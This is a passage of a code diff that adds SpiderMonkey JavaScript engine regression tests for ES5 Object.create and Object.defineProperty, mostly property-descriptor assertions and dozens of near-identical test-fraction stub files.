+assertEq(desc !== undefined, true, "no descriptor?");
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+props = Object.create({ bar: 15 });
+Object.defineProperty(props, "foo", { enumerable: false, value: 42 });
+proto = { baz: 12 };
+o = Object.create(proto, props);
+assertEq(Object.getPrototypeOf(o), proto);
+assertEq(Object.getOwnPropertyDescriptor(o, "foo"), undefined);
+assertEq("foo" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "bar"), undefined);
+assertEq("bar" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "baz"), undefined);
+assertEq(o.baz, 12);
+assertEq(o.hasOwnProperty("baz"), false);
+
+try {
+ var actual =
+ Object.create(Object.create({},
+ { boom: { get: function() { return "base"; }}}),
+ { boom: { get: function() { return "overridden"; }}}).boom
+} catch (e) {
+}
+assertEq(actual, "overridden");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-define-over-method.js b/js/src/tests/ecma_5/Object/15.2.3.6-define-over-method.js
new file mode 100644
index 000000000..1cc9e13e1
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-define-over-method.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 568786;
+var summary =
+ 'Do not assert: !(attrs & (JSPROP_GETTER | JSPROP_SETTER)) with ' +
+ 'Object.defineProperty';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = { x: function(){} };
+Object.defineProperty(o, "x", { get: function(){} });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-01-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-01-of-32.js
new file mode 100644
index 000000000..d5ef02d02
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-01-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(1, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-02-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-02-of-32.js
new file mode 100644
index 000000000..15ec6da11
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-02-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(2, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-03-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-03-of-32.js
new file mode 100644
index 000000000..ee1c71e97
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-03-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(3, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-04-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-04-of-32.js
new file mode 100644
index 000000000..b461f64cc
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-04-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(4, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-05-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-05-of-32.js
new file mode 100644
index 000000000..710331f65
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-05-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(5, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-06-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-06-of-32.js
new file mode 100644
index 000000000..930ead6bc
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-06-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(6, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-07-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-07-of-32.js
new file mode 100644
index 000000000..bdf5dbcf3
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-07-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(7, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-08-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-08-of-32.js
new file mode 100644
index 000000000..495d7b129
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-08-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(8, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-09-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-09-of-32.js
new file mode 100644
index 000000000..d957644e8
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-09-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(9, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-10-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-10-of-32.js
new file mode 100644
index 000000000..dcb147943
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-10-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(10, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-11-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-11-of-32.js
new file mode 100644
index 000000000..d01dae494
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-11-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(11, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-12-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-12-of-32.js
new file mode 100644
index 000000000..dc3c1e90c
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-12-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(12, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-13-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-13-of-32.js
new file mode 100644
index 000000000..9f718ecd1
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-13-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(13, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-14-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-14-of-32.js
new file mode 100644
index 000000000..97648ec04
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-14-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(14, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-15-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-15-of-32.js
new file mode 100644
index 000000000..8c2fe7640
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-15-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(15, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-16-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-16-of-32.js
new file mode 100644
index 000000000..dfdd97a2e
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-16-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(16, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-17-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-17-of-32.js
new file mode 100644
index 000000000..ca8d67246
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-17-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(17, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-18-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-18-of-32.js
new file mode 100644
index 000000000..34434cb23
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-18-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(18, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-19-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-19-of-32.js
new file mode 100644
index 000000000..1f68fc15b
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-19-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(19, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-20-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-20-of-32.js
new file mode 100644
index 000000000..c7aef96e6
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-20-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(20, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-21-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-21-of-32.js
new file mode 100644
index 000000000..67861407c
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-21-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(21, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-22-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-22-of-32.js
new file mode 100644
index 000000000..bfda5267c
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-22-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(22, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-23-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-23-of-32.js
new file mode 100644
index 000000000..1f1b3e217
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-23-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(23, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-24-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-24-of-32.js
new file mode 100644
index 000000000..0e553eef8
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-24-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(24, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-25-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-25-of-32.js
new file mode 100644
index 000000000..1c013a99a
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-25-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(25, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-26-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-26-of-32.js
new file mode 100644
index 000000000..51fad26b0
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-26-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(26, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-27-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-27-of-32.js
new file mode 100644
index 000000000..6ff4b0461
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-27-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(27, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-28-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-28-of-32.js
new file mode 100644
index 000000000..27f1137d9
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-28-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(28, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-29-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-29-of-32.js
new file mode 100644
index 000000000..185e92fe1
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-29-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(29, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-30-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-30-of-32.js
new file mode 100644
index 000000000..6c297b362
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-30-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(30, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-31-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-31-of-32.js
new file mode 100644
index 000000000..b827b30ca
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-31-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(31, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-32-of-32.js b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-32-of-32.js
new file mode 100644
index 000000000..5c44cff0d
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-dictionary-redefinition-32-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(32, 32);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-function-length.js b/js/src/tests/ecma_5/Object/15.2.3.6-function-length.js
new file mode 100644
index 000000000..bc6475c1f
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-function-length.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes): Function.length';
+
+print(BUGNUMBER + ": " + summary);
+
+load("ecma_5/Object/defineProperty-setup.js");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new TestRunner().runFunctionLengthTests();
+}
+catch (e)
+{
+ throw "Error thrown during testing: " + e +
+ " at line " + e.lineNumber + "\n" +
+ (e.stack
+ ? "Stack: " + e.stack.split("\n").slice(2).join("\n") + "\n"
+ : "");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-1-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-1-of-8.js
new file mode 100644
index 000000000..fc1d0fca8
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-1-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(1, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-2-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-2-of-8.js
new file mode 100644
index 000000000..4023e160d
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-2-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(2, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-3-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-3-of-8.js
new file mode 100644
index 000000000..38b1d2876
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-3-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(3, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-4-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-4-of-8.js
new file mode 100644
index 000000000..f3abac42e
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-4-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(4, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-5-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-5-of-8.js
new file mode 100644
index 000000000..cce2114f5
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-5-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(5, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-6-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-6-of-8.js
new file mode 100644
index 000000000..16c231c76
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-6-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(6, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-7-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-7-of-8.js
new file mode 100644
index 000000000..bf3b2b49b
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-7-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(7, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-8-of-8.js b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-8-of-8.js
new file mode 100644
index 000000000..7fa0b807d
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-middle-redefinition-8-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+load("ecma_5/Object/defineProperty-setup.js");
+runNonTerminalPropertyPresentTestsFraction(8, 8);
diff --git a/js/src/tests/ecma_5/Object/15.2.3.6-miscellaneous.js b/js/src/tests/ecma_5/Object/15.2.3.6-miscellaneous.js
new file mode 100644
index 000000000..9f671c52c
--- /dev/null
+++ b/js/src/tests/ecma_5/Object/15.2.3.6-miscellaneous.js
@@ -0,0 +1,74 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430133;
+var summary = 'ES5 Object.defineProperty(O, P, Attributes)';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = [];
+Object.defineProperty(o, 0, { value: 17 });
+var desc = Object.getOwnPropertyDescriptor(o, 0);
+assertEq(desc !== undefined, true);
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+desc = Object.getOwnPropertyDescriptor(o, "length");
+assertEq(desc !== undefined, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, true);
+assertEq(desc.value, 1);
+assertEq(o.length, 1);
+
+Object.defineProperty(o, "foobar",
+ { value: 42, enumerable: false, configurable: true });
+assertEq(o.foobar, 42);
+desc = Object.getOwnPropertyDescriptor(o, "foobar");
+assertEq(desc !== undefined, true);
+assertEq(desc.value, 42);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+var called = false;
+o = { set x(a) { called = true; } };
+Object.defineProperty(o, "x", { get: function() { return "get"; } });
+desc = Object.getOwnPropertyDescriptor(o, "x");
+assertEq("set" in desc, true);
+assertEq("get" in desc, true);
+assertEq(called, false);
+o.x = 13;
+assertEq(called, true);
+
+var toSource = Object.prototype.toSource || function() { };
+toSource.call(o); // a test for this not crashing
+
+var called = false;
+var o =
+ Object.defineProperty({}, "foo",
+ { get: function() { return 17; },
+ set: function(v) { called = true; } });
+
